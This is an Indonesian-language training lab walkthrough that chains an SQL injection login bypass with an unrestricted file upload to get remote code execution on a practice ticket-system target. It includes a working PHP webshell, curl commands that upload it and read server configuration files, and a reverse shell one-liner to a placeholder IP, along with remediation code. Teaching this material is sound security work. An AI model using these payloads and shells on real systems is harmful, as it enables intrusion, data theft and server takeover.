Lab 05: SQLi & Upload Chain
1. Overview
Pernahkah kamu melihat film perampokan di mana tim pencuri harus melewati dua lapis pengamanan? Pertama mereka memanjat pagar (SQLi), lalu setelah di dalam, mereka masuk lewat jendela yang tidak terkunci (File Upload). Kedua celah itu sendiri mungkin sudah berbahaya, tapi ketika dirangkai, dampaknya menjadi jauh lebih besar.
Chain Exploitation (eksploitasi berantai) adalah teknik menggabungkan dua atau lebih kerentanan untuk mencapai tujuan yang tidak bisa dicapai oleh satu kerentanan saja. Dalam lab ini, kita akan:
- Memanjat pagar: Me-bypass login menggunakan SQL Injection (SQLi)
- Masuk lewat jendela: Mengunggah webshell melalui celah File Upload di dashboard
Setelah berhasil, kita mendapatkan Remote Code Execution (RCE) - kendali penuh atas server!
| Aspek | Deskripsi |
|---|---|
| Tipe Serangan | Chain Exploitation - SQLi → File Upload → RCE |
| Dampak Akhir | Remote Code Execution (kendali penuh server) |
| Level Kesulitan | ⭐⭐ Beginner++ |
| Kerentanan Utama | SQL Injection + Unrestricted File Upload |
2. Target Information
| Atribut | Nilai |
|---|---|
| Target URL | http://ticket.vuln.cybersecurity.or.id |
| Level Kesulitan | ⭐⭐ Beginner++ |
| Kategori | Chain Exploitation |
| WSTG Mapping | WSTG-INPV-02 + WSTG-BUS-01 |
| Teknologi | Nginx, PHP, MySQL |
Chain yang Akan Dibangun
SQL Injection ──→ Bypass Login ──→ Akses Dashboard ──→ Upload Shell ──→ RCE
(masuk) (autentikasi) (dapat akses) (upload file) (kendali)
3. Vulnerability Background
OWASP Top 10
Lab ini menggabungkan dua kategori dalam OWASP Top 10 2021:
| Kategori | Kode | Deskripsi |
|---|---|---|
| A03:2021 - Injection | CWE-89 | SQL Injection pada form login - input tidak divalidasi |
| A05:2021 - Security Misconfiguration | CWE-434 | Upload file tanpa filter ekstensi/mime type |
Klasifikasi CWE & CAPEC
| Standar | Kode | Deskripsi |
|---|---|---|
| CWE | CWE-89 | Improper Neutralization of Special Elements used in an SQL Command |
| CWE | CWE-434 | Unrestricted Upload of File with Dangerous Type |
| CAPEC | CAPEC-66 | SQL Injection |
| CAPEC | CAPEC-17 | Using Malicious Files for Access via File Upload |
WHY: Akar Masalah
Mengapa chain ini berbahaya? Karena dua kerentanan yang berdiri sendiri menjadi eksplosif ketika dirangkai:
- SQLi di login: Biasanya SQLi hanya memberikan akses ke data pengguna. Tapi di sini, setelah login kita mendapatkan akses ke dashboard internal.
- Upload tanpa filter di dashboard: Biasanya halaman upload hanya bisa diakses oleh admin. Tapi karena kita sudah bypass login, pagar pertama sudah roboh.
- RCE sebagai hasil akhir: Kombinasi keduanya memberi kita shell penuh di server - bukan sekadar data.
Analogi sederhana:
Kamu menemukan pagar belakang yang longgar (SQLi) - kamu masuk ke halaman dalam rumah. Begitu di dalam, kamu menemukan jendela dapur tanpa kunci (File Upload) - kamu bisa memasukkan apa pun yang kamu mau. Akhirnya kamu mendapatkan kunci seluruh rumah (RCE).
4. Prerequisites
Perangkat yang Dibutuhkan
| Kebutuhan | Keterangan |
|---|---|
| Terminal | Linux/macOS Terminal atau Windows WSL |
| curl | HTTP client via command line. Cek dengan
curl --version |
| Koneksi Internet | Untuk mengakses target di
ticket.vuln.cybersecurity.or.id |
| Pemahaman Dasar SQL | SELECT, WHERE, OR, komentar -- |
| Pemahaman Dasar PHP | Minimal tahu bahwa file .php bisa
dieksekusi di server |
Persiapan: Buat Webshell Sederhana
Siapkan file shell.php di direktori kerja kamu:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Penjelasan: Webshell ini menerima parameter
cmd via URL dan mengeksekusinya sebagai perintah sistem
operasi di server. Sangat sederhana tapi sangat mematikan.
# Verifikasi file sudah dibuat
ls -la shell.php
Expected Output:
-rw-rw-r-- 1 user user 33 Jun 18 10:00 shell.php
5. Lab Architecture
Aplikasi Vulnerable Ticket yang menjadi target lab ini memiliki arsitektur sebagai berikut:
┌──────────────┐ Request / Response ┌─────────────────────┐
│ Browser │ ◄────────────────────────► │ Nginx Web Server │
│ / curl │ │ (ticket.lab...) │
└──────────────┘ └─────────┬───────────┘
│
┌────────▼───────────┐
│ PHP-FPM │
│ │
│ ┌──────────────┐ │
│ │ login.php │ │
│ │ dashboard.php│ │
│ │ upload.php │ │
│ └──────────────┘ │
└────────┬───────────┘
│
┌────────▼───────────┐
│ MySQL Database │
│ │
│ ┌──────────────┐ │
│ │ users │ │
│ │ tickets │ │
│ └──────────────┘ │
└────────────────────┘
Alur Eksploitasi Berantai:
Langkah 1: SQLi → Login tanpa password
Langkah 2: Akses dashboard dengan session
Langkah 3: Upload shell melalui form upload
Langkah 4: Akses shell → RCE
6. Reconnaissance
Sebelum mengeksploitasi, kita perlu mengintai target terlebih dahulu - memahami struktur aplikasi dan mencari titik masuk.
Langkah 1: Akses Halaman Login
curl -s http://ticket.vuln.cybersecurity.or.id/
Expected Output (sebagian):
<!DOCTYPE html>
<html>
<head><title>Ticket System - Login</title></head>
<body>
<h1>Login</h1>
<form action="login.php" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
Analisis: Halaman utama adalah form login dengan
field username dan password yang dikirim
ke login.php via metode POST. Ini adalah target utama
SQLi kita.
[SCREENSHOT-1]: Tampilan halaman login Ticket System dengan form username dan password
Langkah 2: Coba Login dengan Data Sembarang
Uji apakah form login benar-benar memvalidasi kredensial:
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=test&password=test"
Expected Output:
<!DOCTYPE html>
<html>
<head><title>Login Failed</title></head>
<body>
<h1>Login Gagal</h1>
<p>Username atau password salah.</p>
<a href="/">Kembali ke login</a>
</body>
</html>
Analisis: Aplikasi memvalidasi login - tidak sembarang user bisa masuk. Ini berarti ada query SQL yang memeriksa username dan password di database.
[SCREENSHOT-2]: Response halaman "Login Gagal" setelah mencoba login dengan kredensial palsu
Langkah 3: Uji Karakter Kutip di Form Login
Sekarang kita coba input yang bisa memicu error SQL:
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin'&password=test"
Expected Output (mungkin):
<!DOCTYPE html>
<html>
<head><title>Database Error</title></head>
<body>
<h1>Error</h1>
<p>You have an error in your SQL syntax...</p>
</body>
</html>
Analisis: Karakter ' menyebabkan
error SQL! Ini indikasi kuat bahwa aplikasi menggunakan
string concatenation di query login - celah SQL
Injection terbuka lebar.
[SCREENSHOT-3]: Error SQL muncul setelah input karakter kutip di field username
Langkah 4: Cari Halaman Dashboard (Belum Login)
Coba akses langsung halaman yang mungkin ada di dalam:
curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php
Expected Output:
<!DOCTYPE html>
<html>
<head><title>Akses Ditolak</title></head>
<body>
<h1>401 Unauthorized</h1>
<p>Anda harus login terlebih dahulu.</p>
<a href="/">Login</a>
</body>
</html>
Analisis: Halaman dashboard dilindungi - perlu session valid untuk mengaksesnya. Kita harus bypass login dulu.
[SCREENSHOT-4]: Halaman dashboard menolak akses dengan 401 Unauthorized
7. Alur Eksploitasi
Sebelum masuk ke detail masing-masing finding, mari pahami alur eksploitasi secara keseluruhan:
┌─────────────────────────────────────────────────────────────────────┐
│ ALUR EKSPLOITASI BERANTAI │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ TAHAP 1: RECONNAISSANCE │
│ ├─ Akses halaman login ───────────► Temukan form POST │
│ ├─ Coba login palsu ──────────────► Konfirmasi validasi │
│ ├─ Uji karakter kutip ────────────► Deteksi SQL Injection │
│ └─ Akses dashboard langsung ─────► Butuh session login │
│ │
│ TAHAP 2: FINDING 1 - SQLi Bypass Login │
│ ├─ Bypass dengan OR '1'='1' ─────► Login sebagai admin │
│ ├─ Tangkap cookie session ────────► Simpan untuk akses dashboard │
│ └─ Akses dashboard ───────────────► Temukan form upload │
│ │
│ TAHAP 3: FINDING 2 - File Upload to RCE │
│ ├─ Buat webshell PHP ─────────────► shell.php │
│ ├─ Upload via form dashboard ─────► Shell terkirim ke server │
│ └─ Akses shell ──────────────────► Remote Code Execution │
│ │
└─────────────────────────────────────────────────────────────────────┘
8. Finding 1: SQL Injection Authentication Bypass
| Field | Detail |
|---|---|
| ID Temuan | F-001 |
| Nama | SQL Injection pada Form Login - Authentication Bypass |
| Severity | 🔴 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
| CWE | CWE-89 - Improper Neutralization of Special Elements used in an SQL Command |
| Affected Endpoint | POST http://ticket.vuln.cybersecurity.or.id/login.php
|
| Affected Parameter | username |
| Deskripsi | Parameter username pada form login langsung
digabungkan ke query SQL tanpa sanitasi. Attacker dapat
menyisipkan payload SQL untuk mem-bypass autentikasi dan
login sebagai pengguna mana pun tanpa mengetahui
password. |
| Impact | Sangat Tinggi - Attacker dapat login sebagai admin tanpa password, mengakses seluruh halaman yang dilindungi (dashboard, upload, dll), dan melanjutkan eksploitasi ke tahap berikutnya. |
Proof & Reproduction
Langkah 5: Bypass Login dengan SQL Injection
Kita akan menggunakan payload klasik SQL Injection:
' OR '1'='1' -- -
Payload ini bekerja dengan cara:
- Kutip
'menutup string username di query SQL OR '1'='1'membuat kondisi selalu benar-- -mengomentari sisa query (bagian password)
Sehingga query asli yang tadinya:
SELECT * FROM users WHERE username = 'admin' AND password = 'something'
Berubah menjadi:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- -' AND password = 'something'
Kirim payload SQLi:
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin' OR '1'='1' -- -&password=anything" \
-c cookies.txt -v 2>&1
Expected Output (perhatikan header response):
* Connected to ticket.vuln.cybersecurity.or.id (X.X.X.X) port 80
> POST /login.php HTTP/1.1
> ...
< HTTP/1.1 302 Found
< Location: dashboard.php
< Set-Cookie: PHPSESSID=abc123def456; path=/
...
Analisis:
- Response 302 Found → redirect ke
dashboard.php- artinya login BERHASIL! - Server mengirim Set-Cookie berisi
PHPSESSID- session kita valid - Kita berhasil login tanpa mengetahui password yang benar!
[SCREENSHOT-5]: Response 302 redirect ke dashboard.php dengan Set-Cookie setelah SQLi bypass
Langkah 6: Verifikasi Akses Dashboard
Gunakan cookie session yang didapat untuk mengakses dashboard:
curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php \
-b cookies.txt
Expected Output (sebagian):
<!DOCTYPE html>
<html>
<head><title>Dashboard - Ticket System</title></head>
<body>
<h1>Selamat Datang, admin!</h1>
<p>Panel administrasi tiket.</p>
<h2>Upload File</h2>
<form action="upload.php" method="POST" enctype="multipart/form-data">
Pilih file: <input type="file" name="file"><br>
<input type="submit" value="Upload">
</form>
</body>
</html>
Analisis:
- ✅ Kita berhasil login sebagai
admin - Dashboard menampilkan form upload file - ini adalah pintu masuk ke tahap eksploitasi selanjutnya!
[SCREENSHOT-6]: Dashboard admin menampilkan "Selamat Datang, admin!" dan form upload file
9. Finding 2: File Upload to Remote Code Execution (RCE)
| Field | Detail |
|---|---|
| ID Temuan | F-002 |
| Nama | Unrestricted File Upload - Remote Code Execution |
| Severity | 🔴 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
| CWE | CWE-434 - Unrestricted Upload of File with Dangerous Type |
| Affected Endpoint | POST http://ticket.vuln.cybersecurity.or.id/upload.php
|
| Affected Parameter | file (multipart form-data) |
| Deskripsi | Form upload di halaman dashboard tidak memvalidasi tipe file, ekstensi, atau konten file yang diunggah. Attacker dapat mengunggah file PHP berbahaya (webshell) yang kemudian bisa diakses dari browser untuk mengeksekusi perintah sistem. |
| Impact | Kritis - Remote Code Execution (RCE) - Attacker mendapatkan kendali penuh atas server web. Dapat membaca/mengubah/menghapus file, mencuri data, menginstall backdoor, atau menggunakan server sebagai pivot point untuk serangan lanjutan. |
Proof & Reproduction
Langkah 7: Upload Webshell
Dengan session admin yang valid, kita upload webshell PHP yang sudah disiapkan sebelumnya:
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/upload.php \
-b cookies.txt \
Expected Output (jika sukses):
<!DOCTYPE html>
<html>
<head><title>Upload Sukses</title></head>
<body>
<h1>File Berhasil Diupload</h1>
<p>File: <a href="uploads/shell.php">uploads/shell.php</a></p>
</body>
</html>
Analisis: Server menerima file .php
tanpa protes - tidak ada pemeriksaan ekstensi, tidak ada validasi
MIME type. File webshell kita tersimpan di direktori
uploads/.
[SCREENSHOT-7]: Halaman konfirmasi upload sukses dengan link ke file shell.php
Langkah 8: Verifikasi RCE - Eksekusi Perintah
Sekarang kita akses webshell yang sudah diupload:
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
🎉 RCE Berhasil! Perintah id dieksekusi
di server dan mengembalikan informasi bahwa server berjalan sebagai
user www-data.
[SCREENSHOT-8]: Output perintah id dari server - konfirmasi RCE berhasil
Langkah 9: Eksplorasi Server
Sekarang kita bisa menjalankan berbagai perintah untuk eksplorasi lebih lanjut:
# Cek direktori saat ini
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"
# Daftar file di server
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls%20-la%20/var/www/html"
# Lihat isi file konfigurasi database
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=cat%20/var/www/html/config.php"
# Cek siapa saja yang login
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=who"
Analisis: Dengan RCE, kita bisa melakukan apa pun
yang bisa dilakukan user www-data di server - membaca
file sensitif, mengakses database melalui file konfigurasi,
menginstall backdoor permanen, dan lain-lain.
[SCREENSHOT-9]: Eksplorasi server - output perintah ls, pwd, dan cat config.php
10. Remediation
Remediasi Finding 1: SQL Injection
1. Prepared Statements (Wajib!)
Gantilah query concatenation dengan prepared statements:
<?php
// ✅ AMAN - Prepared Statement
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
if ($user) {
$_SESSION['user'] = $user['username'];
header("Location: dashboard.php");
} else {
echo "Login gagal";
}
?>
2. Input Validation & Sanitization
<?php
// Batasi karakter yang diizinkan
$username = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['username']);
?>
3. Gunakan Framework Modern
Framework seperti Laravel, CodeIgniter, atau Symfony telah memiliki built-in protection terhadap SQL Injection melalui Eloquent ORM atau Query Builder.
Remediasi Finding 2: File Upload
1. Validasi Ekstensi File
<?php
// ✅ AMAN - Cek ekstensi file
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_extensions)) {
die("Ekstensi file tidak diizinkan!");
}
?>
2. Validasi MIME Type
<?php
// ✅ AMAN - Cek MIME type
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$file_mime = mime_content_type($_FILES['file']['tmp_name']);
if (!in_array($file_mime, $allowed_mimes)) {
die("Tipe file tidak diizinkan!");
}
?>
3. Rename File & Hindari Path Traversal
<?php
// ✅ AMAN - Generate nama file acak
$new_name = md5(uniqid()) . '.' . $file_ext;
$upload_path = '/var/www/html/uploads/' . $new_name;
// Pastikan tidak ada path traversal
$real_path = realpath(dirname($upload_path)) . '/' . basename($upload_path);
if (strpos($real_path, realpath('/var/www/html/uploads/')) !== 0) {
die("Path traversal terdeteksi!");
}
?>
4. Simpan File di Luar Document Root
Cara paling aman: simpan file upload di luar direktori yang bisa diakses web:
<?php
// ✅ PALING AMAN - Simpan di luar document root
$upload_dir = '/var/www/secure_uploads/'; // Bukan di /var/www/html/
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name);
?>
Dengan cara ini, meskipun attacker berhasil mengupload file
.php, file tersebut tidak bisa dieksekusi karena berada
di luar jangkauan web server.
11. Kesimpulan
Apa yang Telah Kita Pelajari
| Konsep | Ringkasan |
|---|---|
| Chain Exploitation | Menggabungkan dua kerentanan (SQLi + Upload) untuk mencapai dampak yang lebih besar |
| SQL Injection Bypass | Teknik
' OR '1'='1' -- -
untuk melewati autentikasi login |
| File Upload RCE | Upload file .php tanpa filter untuk
mendapatkan eksekusi perintah |
| From Zero to RCE | Dari tanpa akses → login admin → kendali penuh server |
Mengapa Ini Berbahaya?
Sendiri-sendiri:
- SQLi saja: hanya bisa mencuri data dari database
- Upload saja: hanya bisa diakses oleh admin yang sudah login
Tapi ketika dirangkai:
- SQLi memberi akses ke dashboard (yang seharusnya terproteksi)
- Upload memberi kemampuan eksekusi kode (yang seharusnya terbatas)
- Hasil akhir: RCE - kendali penuh server!
Pencegahan Holistik
- Layered Defense: Jangan hanya mengandalkan satu lapis keamanan
- Validasi di Semua Endpoint: Setiap input adalah potensi serangan
- Least Privilege: User database dan file system sebaiknya memiliki hak terbatas
- Regular Security Testing: Lakukan pengujian keamanan secara berkala
12. Latihan Mandiri
Coba tantangan berikut untuk memperdalam pemahaman:
-
SQLi Variasi: Gunakan payload SQLi lain selain
' OR '1'='1' -- -. Misalnyaadmin'-- -atau' UNION SELECT 1,'admin','hash','admin'-- - -
Webshell Lanjutan: Buat webshell yang lebih canggih dengan fitur upload file, file manager, atau reverse shell:
# Webshell dengan form upload
cat > shell2.php << 'EOF'
<?php
if (isset($_FILES['f'])) {
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
echo "Uploaded: " . $_FILES['f']['name'];
} else {
echo '<form method="post" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit"></form>';
}
?>
EOF
-
Cari Upload Lain: Setelah login sebagai admin, jelajahi apakah ada fitur upload lain selain di dashboard utama.
-
Blind SQLi: Jika error tidak ditampilkan, coba teknik Blind SQLi (boolean-based atau time-based).
-
Reverse Shell: Upgrade webshell menjadi reverse shell menggunakan Python atau netcat:
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
13. Referensi
Dokumentasi & Standar
| Referensi | URL |
|---|---|
| OWASP Top 10 2021 | https://owasp.org/www-project-top-ten/ |
| OWASP SQL Injection | https://owasp.org/www-community/attacks/SQL_Injection |
| OWASP File Upload | https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload |
| CWE-89: SQL Injection | https://cwe.mitre.org/data/definitions/89.html |
| CWE-434: File Upload | https://cwe.mitre.org/data/definitions/434.html |
| WSTG - SQL Injection | https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection |
Bacaan Lanjutan
| Topik | Link |
|---|---|
| PHP Prepared Statements | https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php |
| Secure File Upload in PHP | https://www.php.net/manual/en/features.file-upload.php |
| Web Shells Explained | https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction/ |
14. Evidence Collection
Gunakan checklist berikut untuk memastikan semua langkah telah dilakukan dan dicatat.
Checklist Pengujian
| No | Langkah | Status | Command / Output |
|---|---|---|---|
| 1 | Akses halaman utama | ☐ | curl -s http://ticket.vuln.cybersecurity.or.id/
|
| 2 | Coba login palsu (test:test) | ☐ | Response "Login Gagal" |
| 3 | Uji karakter kutip (admin') |
☐ | Error SQL atau response tidak normal |
| 4 | SQLi bypass login | ☐ | curl -X POST ... -d "username=admin' OR '1'='1' -- -&password=x"
→ 302 redirect |
| 5 | Simpan cookie session | ☐ | Cookie PHPSESSID tersimpan di
cookies.txt |
| 6 | Akses dashboard dengan cookie | ☐ | Halaman dashboard tampil dengan form upload |
| 7 | Buat webshell (shell.php) |
☐ | File
<?php system($_GET["cmd"]); ?>
siap |
| 8 | Upload webshell via dashboard | ☐ | Response "Upload Sukses" dengan link file |
| 9 | Verifikasi RCE (?cmd=id) |
☐ | Output uid=33(www-data)... |
| 10 | Eksplorasi server | ☐ | Minimal 3 perintah eksplorasi berhasil |
Command Log (contoh)
Simpan semua perintah yang berhasil dalam file teks untuk dokumentasi:
cat > sqli-upload-chain-evidence.txt << 'EOF'
=== EVIDENCE LOG: SQLi & Upload Chain ===
Target: http://ticket.vuln.cybersecurity.or.id
Date: $(date)
Tester: [NAMA KAMU]
[RECON - Langkah 1: Akses halaman utama]
curl -s http://ticket.vuln.cybersecurity.or.id/
Result: Halaman login dengan form
[RECON - Langkah 2: Login palsu]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php -d "username=test&password=test"
Result: "Login Gagal"
[RECON - Langkah 3: Deteksi SQLi]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php -d "username=admin'&password=test"
Result: Error SQL / response tidak normal - KONFIRMASI RENTAN
[FINDING 1 - Langkah 5: SQLi Bypass]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin' OR '1'='1' -- -&password=anything" -c cookies.txt -v 2>&1
Result: 302 redirect → dashboard.php
[FINDING 1 - Langkah 6: Akses Dashboard]
curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php -b cookies.txt
Result: Dashboard admin dengan form upload
[FINDING 2 - Langkah 7: Upload Shell]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/upload.php \
-b cookies.txt -F "[email protected]"
Result: Upload sukses
[FINDING 2 - Langkah 8: RCE Verification]
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[FINDING 2 - Langkah 9: Eksplorasi]
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls%20-la%20/var/www/html"
Result: [daftar file di server]
EOF
TDCTF Security Academy - Cybersecurity Indonesia